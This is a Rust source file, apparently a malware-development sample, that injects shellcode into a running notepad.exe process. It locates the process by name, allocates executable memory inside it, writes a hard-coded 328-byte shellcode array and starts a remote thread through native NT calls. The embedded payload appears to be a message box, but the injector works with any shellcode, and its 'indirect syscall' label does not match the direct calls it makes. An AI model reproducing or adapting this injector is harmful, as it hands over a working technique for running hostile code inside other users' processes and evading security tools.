#![allow(non_snake_case)]
use std::ptr::null_mut;
use std::ffi::CString;
use winapi::shared::ntdef::NT_SUCCESS;
use winapi::um::winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE};
use winapi::{ctypes::c_void, um::{
    errhandlingapi::GetLastError, handleapi::CloseHandle, libloaderapi::{GetModuleHandleA, GetProcAddress}, memoryapi::VirtualAllocEx, processthreadsapi::OpenProcess, synchapi::WaitForSingleObject, tlhelp32::{CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS}, winnt::THREAD_ALL_ACCESS
}};

use ntapi::{ntmmapi::{NtAllocateVirtualMemory, NtWriteVirtualMemory}, ntpsapi::NtCreateThreadEx};

// using ntapi's

const SHELLCODE: [u8; 328] = [0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,
    0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
    0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,
    0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,
    0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
    0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
    0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,
    0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00,
    0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,
    0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
    0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
    0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
    0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08,
    0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,
    0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,
    0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,
    0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,
    0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,
    0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e,
    0x48,0x8d,0x8d,0x30,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26,
    0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,
    0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x24,0x01,
    0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
    0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,
    0x48,0x65,0x79,0x20,0x6d,0x61,0x6e,0x2e,0x20,0x49,0x74,0x73,
    0x20,0x6d,0x65,0x20,0x53,0x6d,0x75,0x6b,0x78,0x00,0x6b,0x6e,
    0x6f,0x63,0x6b,0x2d,0x6b,0x6e,0x6f,0x63,0x6b,0x00,0x75,0x73,
    0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00
];

// now to resolve an syscalls

// to find the pid by its name !
fn get_pid(process_name: &str) -> u32{
    unsafe{
        let mut pe: PROCESSENTRY32 = std::mem::zeroed();
        pe.dwSize = std::mem::size_of::<PROCESSENTRY32>() as u32;

        let snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if snap.is_null(){
            println!("Error while snapshoting processes : Error : {}",GetLastError());
            std::process::exit(0);
        }

        let mut pid = 0;

        let mut result = Process32First(snap, &mut pe) != 0;

        while result{

            let exe_file = CString::from_vec_unchecked(pe.szExeFile
                .iter()
                .map(|&file| file as u8)
                .take_while(|&c| c!=0)
                .collect::<Vec<u8>>(),
            );

            if exe_file.to_str().unwrap() == process_name {
                pid = pe.th32ProcessID;
                break;
            }
            result = Process32Next(snap, &mut pe) !=0;
        }

        if pid == 0{
            println!("Unable to get PID for {}: {}",process_name , "PROCESS DOESNT EXISTS");           
            std::process::exit(0);
        }
    
        CloseHandle(snap);
        pid
    }
}

// indirect_syscalls
fn indirect_syscall_injector(process_name: &str) -> bool {
    let pid = get_pid(process_name);

    unsafe {
        let h_proc = OpenProcess(0x000F0000 | 0x00100000 | 0xFFFF, 0, pid);
        if h_proc.is_null() {
            println!("Failed to open process");
            return false;
        }

        let mut alloc_address: *mut c_void = null_mut();
        let mut alloc_size = SHELLCODE.len();

        let status = NtAllocateVirtualMemory(
            h_proc,
            &mut alloc_address as *mut *mut c_void,
            0,
            &mut alloc_size as *mut usize,
            MEM_RESERVE | MEM_COMMIT,
            PAGE_EXECUTE_READWRITE,
        );

        if !NT_SUCCESS(status) {
            eprintln!("NtAllocateVirtualMemory failed with status: {:#X}", status);
            CloseHandle(h_proc);
            return false;
        }

        let mut bytes_written = 0;
        let status = NtWriteVirtualMemory(
            h_proc,
            alloc_address,
            SHELLCODE.as_ptr() as *mut c_void,
            SHELLCODE.len(),
            &mut bytes_written,
        );

        if !NT_SUCCESS(status) {
            eprintln!("NtWriteVirtualMemory failed with status: {:#X}", status);
            CloseHandle(h_proc);
            return false;
        }

        let mut h_thread: *mut c_void = null_mut();
        let status = NtCreateThreadEx(
            &mut h_thread,
            THREAD_ALL_ACCESS,
            null_mut(),
            h_proc,
            alloc_address,
            null_mut(),
            false as _,
            0,
            0,
            0,
            null_mut(),
        );

        if !NT_SUCCESS(status) {
            eprintln!("NtCreateThreadEx failed with status: {:#X}", status);
            CloseHandle(h_proc);
            return false;
        }

        WaitForSingleObject(h_thread, 0xFFFFFFFF);

        // Cleanup
        CloseHandle(h_thread);
        CloseHandle(h_proc);
    }

    true
}

pub fn using_ntapi_crates() {
    let process_name = "notepad.exe";

    if !indirect_syscall_injector(process_name){
        println!("Injection Failed");
    }else {
        println!("Injection Success");
    }
}
